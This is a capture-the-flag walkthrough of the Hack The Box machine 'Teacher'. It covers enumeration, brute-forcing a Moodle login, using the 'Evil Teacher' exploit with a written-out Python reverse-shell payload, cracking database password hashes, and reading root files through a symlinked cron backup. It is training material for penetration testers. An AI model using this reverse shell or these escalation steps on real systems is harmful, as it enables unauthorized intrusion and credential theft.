Hack The Box: Teacher

Jump Ahead: EnumInitial CredsRev. ShellUserRootResources


Overall, this box was not that bad once you get beyond gaining initial credentials.

To solve this machine, we find the first bit of credentials in one of the files in the /images directory. We bruteforce the last character of the password we are given, and log into the Moodle application as giovanni. From there we use the Evil Teacher exploit to get a reverse shell. We find the database credentials in the Moodle config file to get the password for the giovanni user. Logging in as giovanni, we see there is a scheduled task running as root that is creating a backup of the courses/ folder in the user’s directory. We create a symbolic link to the /root/ folder, allowing us to read the contents of root.txt.


Like all pentests, we begin by enumerating the box. I used the below:

nmap -A -p- -oA scans/nmap-tcpAll

Which gave us the following port:

80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blackhat highschool

Generally when we see a webserver is running, it’s a great idea to enumerate directories to see if there is any hidden content we can find. To do this, I use gobuster to look for any webapps beside the default index page. *NOTE* Dirb/Dirbuster work just fine.

gobuster -u -w /opt/wordlists/dirb/common.txt -t 10

After running this command, we get the following input.

/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/js (Status: 301)
/manual (Status: 301)
/moodle (Status: 301)
/phpmyadmin (Status: 403)
/server-status (Status: 403)

Of note, we see we have the phpmyadmin and moodle directories. PHPMyAdmin is basically a GUI for managing/manipulating MySQL databases, and Moodle is an educational course management platform. Great, since the box is titled Teacher, it’s safe to guess that gaining root has to do with the Moodle platform. Doing a little research gives us this exploit. Before we can get our code execution, we need to figure out the username and password to login to Moodle. Doing a couple clicks around Moodle shows the teacher’s name (assumably username) to be Giovanni.

Gaining Initial Credentials

Gaining the first set of credentials was rather annoying. I am not going to lie to you and tell you I did it without help. The only helped I received was to check the /images directory. After essentially clicking every image, I saw that 5.png did not load. To look into this, I downloaded the file and did a little bash-fu on it. Behold! What we are looking for!

As the note reads, we can assume the username to be Giovanni and the password begins with Th4C00lTheacha. Doing a quick bruteforce on the Moodle login page reveals the password to be Th4C00lTheacha#.

Getting a Reverse Shell

Now that we have access to Moodle as a teacher, we can run the Evil Teacher exploit that we found earlier. For this, you will need to setup a calculated quiz like the exploit says. To get shell, I passed the following payload (be sure to URL encode it) into the ‘0’ query parameter like the exploit video shows.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4433));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Getting User

Once we have our reverse shell, the first thing we need to do is internally enumerate the box. To do this, I like running scripts such as LinEnum. How you get your scripts to the machine is for you to decide. Personally, I like downloading them to the machine with Python’s SimpleHTTPServer module and wget/curl.

Such scripts are great at finding things things like SUID/GUID binaries, hidden files/directories, world writeable files, etc., but for this machine, this wasn’t really the case. Our shell was as the www-data user, and was not able to access any user directories – which was a good indication we need to at the minimum laterally privesc to do more.

The only useful thing we saw from our enumeration that we may be able to leverage was a MySQL database (presumably for Moodle). With the assumption that Moodle was using the database, we should be able to get the credentials somewhere within Moodle’s configuration files.

Sure enough, we find the database username as root and the password as Welkom1!. Logging in we explore a bit, and find the mdl_user table, which was assume might have some credentials in it. Running describe mdl_user in the MySQL console does reveal that the table does have username and password columns. Querying the table for the username and password columns reveals usernames and their respective password hashes.

Using Hashcat to crack these hashes, quickly returns that Giovannibak‘s password (MD5 hash) is expelled. Back in our reverse shell, we dump /etc/passwd to reveal that there is no giovannibak user, but there is a giovanni user. Let’s try using this password as that user! We accomplish this by typing:

su giovanni

and entering in our password. Horray! We are now the giovanni user and can read user.txt.

Getting Root

In giovanni’s user directory, we see there is a work directory. We traverse this directory making sure to run ls -l in each sub-directory so we can see permissions and timestamps. One thing we note is that we see there is a tmp/ subfolder that appears to be updated every minute. This is a clear indication that there is some type of scheduled task running. When we did our local enumeration on the box, we saw we didn’t have access to see the cronjobs, so a way we can work around this is to monitor processes. What do we look for though? We go into the tmp/ folder shows reveals a compressed backup archive using gzip as well as a courses folder with all subsequent files set to mode 0777. Using this knowledge, we can monitor processes for the gzip or tar commands, which should give us a little more information.

Ok great! We now know how the backup is being created, and we feel certain this is our route for exploitation. How can we leverage this to get root.txt, if not a root shell. Easy. Symbolic links.

We may not be able to read everything, but root can. Since symbolic links point to things whether they are there or not, in theory we should be able to link the courses/ folder that is being archived to the /root folder and the the script will set the permissions for us to be able to read the linked folder (because this isn’t a hard link, the permissions to not transfer to the actual /root folder).

reading root.txt gives us the flag! Additionally, if we wanted escalate to the root user, we can use the same method to read /etc/shadow and crack the hash, however, I was unable to crack it in a reasonable time.